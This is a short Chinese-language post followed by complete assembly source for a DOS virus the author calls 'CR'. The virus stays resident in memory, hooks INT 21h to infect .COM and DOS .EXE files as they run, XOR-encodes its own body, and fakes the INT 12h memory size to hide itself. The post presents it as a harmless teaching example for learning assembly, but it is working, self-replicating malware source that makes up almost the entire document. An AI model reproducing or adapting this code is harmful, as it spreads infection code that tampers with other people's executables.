这个病毒虽然比较简单。但是麻雀虽小，五脏俱全。隐藏，感染，加密等模块应有尽有（只是不会破坏），是一个比较标准的DOS病毒，可以感染.EXE（不包括PE）和.COM的可执行文件。
如果您希望学习汇编语言，用这个程序作为入门指导倒是比较合适的。
染毒文件会被打上“CR”的标记，我们姑且称它为CR病毒吧。
baseoff equ 107h code segment assume cs:code,ds:code,es:code,ss:code org 100h main: mov ax,offset begin jmp ax db 'cr' begin: push es push ds mov ax,cs mov ds,ax mov es,ax call get_ip push ax mov ax,offset encodebegin jmp short get_ip_end oldhead db 0h,4ch,0cdh,21h,6 dup (?) get_ip label near mov bp,sp mov bx,[bp] ret get_ip_end: sub bx,112h ;get current offset add ax,bx push ax pop di mov si,di cld mov cx, offset endtag-offset encodebegin mov dl, byte ptr [oldhead+bx] push si decode: lodsb xor al,dl stosb ;decode at runtime loop decode retf ;retf cs:ip=encodebegin db 62h db 65h encodebegin: mov ax,9f80h mov es,ax cmp es:word ptr [virustag-baseoff],7263h jz alreadyresident push ds mov ax,40h mov ds,ax mov di,13h ;get free memory sub word ptr [di],2 pop ds mov di,0 mov si,bx add si,baseoff mov cx,2048 cld rep movsb ;resident in memory nop push bx mov ax,9f80h mov ds,ax mov ax,3521h int 21h mov ds:word ptr[oldint21-baseoff],bx mov dx,bx mov ds:word ptr[oldint21-baseoff+2h],es mov dx,offset newint21proc-baseoff mov ax,2521h int 21h mov dx,offset newint12proc-baseoff mov ax,2512h int 21h pop bx alreadyresident: mov ax,cs mov ds,ax mov es,ax mov si,offset oldhead add si,bx mov di,0100h cmp cs:word ptr oldhead[bx],6163h ;this is an infected EXE file jz GotoExe cld mov cx,7 rep movsb pop ds pop es cmp cs:word ptr oldhead[bx],4c00h jz go_out GotoOldHead: ;this is an infected COM file mov ax,0100h jmp ax GotoExe: pop ds pop es mov ax,ds add ax,cs:ini_ss[bx] ;set old ss add ax,10h mov ss,ax mov ax,cs:ini_sp[bx] ;set old sp mov sp,ax mov ax,ds add ax,10h add cs:ini_cs[bx],ax ;set old cs jmp cs:dword ptr ini_ip[bx] ;jump to the normal EXE go_out: mov ah,4ch int 21h oldint21 dw 2 dup(?) filehead db 18h dup (?) filesize dw 2 dup(?) virustag db 'cr' infecthead: mov ax,offset begin jmp ax db 'cr' temp dw ? ini_ip dw ? ini_cs dw ? ini_ss dw ? ini_sp dw ? newint21proc: cmp ah,4bh jz tryinfect jmp int21h tryinfect: push ax ;begin to infect push cx push es push di push bx push dx push ds mov ax,3d02h int 21h jnc openok jmp notinfect ;open fail? not infect openok: push ds push dx push cs pop ds mov dx,offset filehead-baseoff mov bx,ax mov cx,18h mov ah,3fh int 21h pop dx pop ds jc closefilenear ;read fail? not infect mov di,offset filehead-baseoff mov ax,9f80h mov es,ax cmp word ptr es:[di],5a4dh ;'MZ' in head? EXE file... jnz COM_infect jmp EXE_infect COM_infect: cmp word ptr es:[di+5],7263h ;'cr' in 105h? not infect jz closefilenear call getfilesize cmp dx,0 jnz closefilenear ; file is too big..not infect cmp ax,63000 ja closefilenear ; file is too big..not infect cmp ax,10 jb closefilenear ; file is too small..not infect ;infect begin,hahahahaha.... jmp infectbegin closefilenear: jmp closefile infectbegin: mov ax,9f80h mov ds,ax mov es,ax mov si,offset filehead-baseoff mov di,offset oldhead-baseoff mov cx,10 cld rep movsb ;save the old file head call addvirustofile call mov_ptr_to_head mov di,offset infecthead-baseoff mov dx,di inc di mov cx,word ptr [filesize-baseoff] add cx,100h mov word ptr [di],cx mov cx,7 mov ah,40h int 21h closefile: mov ah,3eh int 21h ; close the file notinfect: pop ds pop dx pop bx pop di pop es pop cx pop ax int21h: jmp dword ptr cs:[oldint21-baseoff] getfilesize proc near mov ax,4202h xor cx,cx xor dx,dx int 21h jc closefile mov es:word ptr [filesize-baseoff],ax mov es:word ptr [filesize-baseoff+2],dx ;save the file size ret getfilesize endp addvirustofile proc near xor dx,dx mov ah,40h mov cx,offset encodebegin-offset begin int 21h jc closefile ;write fail... not infect cmp ax,cx jb closefile ;write fail... not infect mov cx,(offset endtag-offset encodebegin)/2+(offset endtag-offset encodebegin)MOD 2 mov dl,byte ptr oldhead-baseoff mov dh,dl mov di,dx mov si,offset encodebegin-baseoff mov dx,offset temp-baseoff encode_myself: push cx lodsw xor ax,di ;encode and then write into file mov temp-baseoff,ax mov ah,40h mov cx,2 int 21h jc closefile ;write fail... not infect cmp ax,cx jb closefile ;write fail... not infect pop cx loop encode_myself ret addvirustofile endp mov_ptr_to_head proc near mov ax,4200h xor cx,cx xor dx,dx int 21h jc closefile ret mov_ptr_to_head endp EXE_infect proc near mov ax,es:word ptr[di+2] ;exe size in the last sector mov dx,es:word ptr[di+4] ;total sectors of exe size push di dec dx mov cx,9 xor si,si get_size_in_head: shl dx,1 shl si,1 adc si,0 loop get_size_in_head add dx,ax adc si,0 mov di,dx call getfilesize ;get the exe file size cmp dx,si jnz exe_end_near ;not equal(file size and loading size) cmp dx,0fh ;not infect ja exe_end_near cmp ax,di pop di jnz exe_end_near jmp begininfectexe exe_end_near: jmp exe_end ;begin to infect exe begininfectexe: mov ax,writesize+10 mov cl,9 add ax,es:word ptr[di+2] ;add exe loading size mov si,ax and ax,1ffh mov es:word ptr[di+2],ax shr si,cl add es:word ptr[di+4],si push es pop ds mov word ptr[oldhead-baseoff],6163h ;write EXE's tag mov ax,[di+14h] mov [ini_ip-baseoff],ax mov ax,[di+16h] mov [ini_cs-baseoff],ax mov ax,[di+10h] mov [ini_sp-baseoff],ax mov ax,[di+0eh] mov [ini_ss-baseoff],ax ;save the old ss,sp,cs,ip push di call addvirustofile pop di call mov_ptr_to_head mov ax,filesize-baseoff mov dx,[di+08h] mov cl,4 shl dx,cl ;dx=exe header size sub ax,dx push ax and ax,0fh mov [di+14h],ax ;modify sp,ip mov [di+10h],writesize+50 add word ptr [di+0ah],writesize/16+1 ;add the memory needed pop ax mov dx,filesize+2-baseoff mov cl,4 modify_cs: shr dx,1 rcr ax,1 loop modify_cs mov [di+16h],ax mov [di+0eh],ax ;modify cs and ss mov dx,di mov cx,18h mov ah,40h int 21h exe_end: jmp closefile EXE_infect endp newint12proc: mov ax,640 iret writesize equ $-begin endtag: code ends end main